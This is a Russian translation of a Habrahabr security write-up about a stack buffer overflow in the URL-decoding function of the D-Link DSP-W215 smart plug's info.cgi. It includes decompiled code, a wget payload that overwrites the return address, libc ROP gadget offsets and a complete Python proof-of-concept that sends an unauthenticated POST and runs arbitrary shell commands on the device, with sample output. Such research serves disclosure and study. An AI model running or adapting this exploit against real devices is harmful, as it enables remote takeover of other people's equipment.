[Перевод] Взламываем D-Link DSP-W215 Smart Plug. Снова и опять

Вот мы снова и опять.imageВ последнем эксплоите к DSP-W215 я говорил, чтобы функция get_input_entries не падала, нужно использовать имя «storage_path» в POST-запросе. Так нужно было сделать из-за того, что есть еще одно переполнение буфера, на этот раз в функции get_input_entries, которую вызывает get_input_entries, если имя пост параметра отлично от «storage_path» или «path»: image

В функцию replace_special_char передается один аргумент — указатель на обрабатываемое POST-значение: image

Эта функция занимается декодированием URL: image

Чтобы декодировать URL, функция получает длину строки POST-значения, которую передает get_input_entries: imagepost_value_length = strlen (post_data);

И совершает цикл через все байты post_value_length: image

На каждой итерации, функция сохраняет один раскодированный (urldecoded) байт, или, если декодирование не требовалось, исходный байт POST-значения в локальную переменную decode_buf на стеке: image

По сути, делает вот это:

void replace_special_char (char *post_data) { char decode_buf[0×258]; int post_value_length, i = 0, j = 0; memset (decode_buf, 0, sizeof (decode_buf)); post_value_length = strlen (post_data); while (i < post_value_length) { /* * ... * If post_data[i] == '%', then it's URL encoded; try to decode it here * (as long as the POST data isn't URL encoded, this code does nothing, * so it's not shown). * ... */ // No bounds checking on index j! decode_buf[j] = post_data[i]; j++; i++; } ... return; } Если мы посмотрим на стек replace_special_char, мы увидим, что POST-значение длиной больше, чем 612 байт, переполнит весь стек до первого сохраненного регистра ($s0), а еще 36 байт переполнят сохраненный адрес возврата ($ra).image

# Overflow $ra with 0×42424242 wget --post-data=«foo=$(perl -e 'print «A«x648; print «B«x4')» http://192.168.0.60/common/info.cgi image$ra = 0×42424242

Из-за того, что декодирующий цикл использует strlen для определения необходимого количества байтдля копирования в decode_buf, мы должны помнить об ограничении на использование NULL-байта в POST-запросе. Это значит, что адрес возврата, который мы использовали в предыдущих эксплоитах, не будет работать, т.к. он запрос содержит NULL-байт, но мы можем выполнить ROP в libc для достижения такого же эффекта.

Внутри libc, по смещению 0xBA50, находится gadget, который указывает на регистр $a1 на стеке (на $sp+0xB8, если быть точным), а затем прыгает на какой-то адрес, который он получает из регистра $s1: imageПервый ROP gadget

Если мы перезапишем $s1 адресом со смещением 0×34640 во время переполнения буфера, то выполнение программы перепрыгнет на следующий gadget, который положит регистр $a1 в $a0 (регистр с первым аргументом функции) и вызовет функцию, адрес которой находится в $s0: imageВторой ROP gadget

Итак, мы убедились, что $s0 указывает на функцию system () (по смещению 0×4BC80 в libc), значит, мы можем вызвать system () с указателем на стек:

system ($sp+0xB8); После добавления базового адреса libc (0×2AB61000) ко всем смещениям, мы можем написать и протестировать PoC для этой уязвимости:

#!/usr/bin/env python # Exploits overflow in replace_special_char. import sys import urllib2 try: target = sys.argv[1] command = sys.argv[2] except: print «Usage: %s » % sys.argv[0] sys.exit (1) url = «http://%s/common/info.cgi» % target buf = «foo=» # POST parameter name can be anything buf += «E» * 612 # Stack filler buf += »\x2A\xBA\xCC\x80» # $s0, address of system () buf += »\x2A\xB9\x56\x40» # $s1, address of ROP2 buf += «F» * 4 # $s2, don’t care buf += «F» * 4 # $s3, address of ROP2 buf += «F» * 4 # $s4, don’t care buf += «F» * 4 # $s5, address of ROP3 buf += «F» * 4 # $s6, don’t care buf += «F» * 4 # $s7, don’t care buf += «F» * 4 # $fp, don’t care buf += »\x2A\xB6\xCA\x50» # $ra, address of ROP1 buf += «G» * 0xB8 # Stack filler buf += command # Command to execute req = urllib2.Request (url, buf) print urllib2.urlopen (req).read () Как и ранее, мы можем выполнять любые команды и получать ответ:

$ ./exploit2.py 192.168.0.60 'ls -l /' drwxr-xr-x 2 1000 1000 4096 May 16 09:01 bin drwxrwxr-x 3 1000 1000 4096 May 22 18:03 dev drwxrwxr-x 3 1000 1000 4096 Sep 3 2010 etc drwxrwxr-x 3 1000 1000 4096 May 16 09:01 lib drwxr-xr-x 3 1000 1000 4096 May 16 09:01 libexec lrwxrwxrwx 1 1000 1000 11 May 17 15:20 linuxrc → bin/busybox drwxrwxr-x 2 1000 1000 4096 Nov 11 2008 lost+found drwxrwxr-x 6 1000 1000 4096 May 17 15:15 mnt drwxr-xr-x 2 1000 1000 4096 May 16 09:01 mydlink drwxrwxr-x 2 1000 1000 4096 Nov 11 2008 proc drwxrwxr-x 2 1000 1000 4096 May 17 17:23 root drwxr-xr-x 2 1000 1000 4096 May 16 09:01 sbin drwxrwxrwx 3 1000 1000 4096 May 22 19:18 tmp drwxrwxr-x 7 1000 1000 4096 May 16 09:01 usr drwxrwxr-x 3 1000 1000 4096 May 17 15:21 var -rw-r--r-- 1 1000 1000 17 May 16 09:01 version drwxrwxr-x 6 1000 1000 4096 May 22 17:15 www

© Habrahabr.ru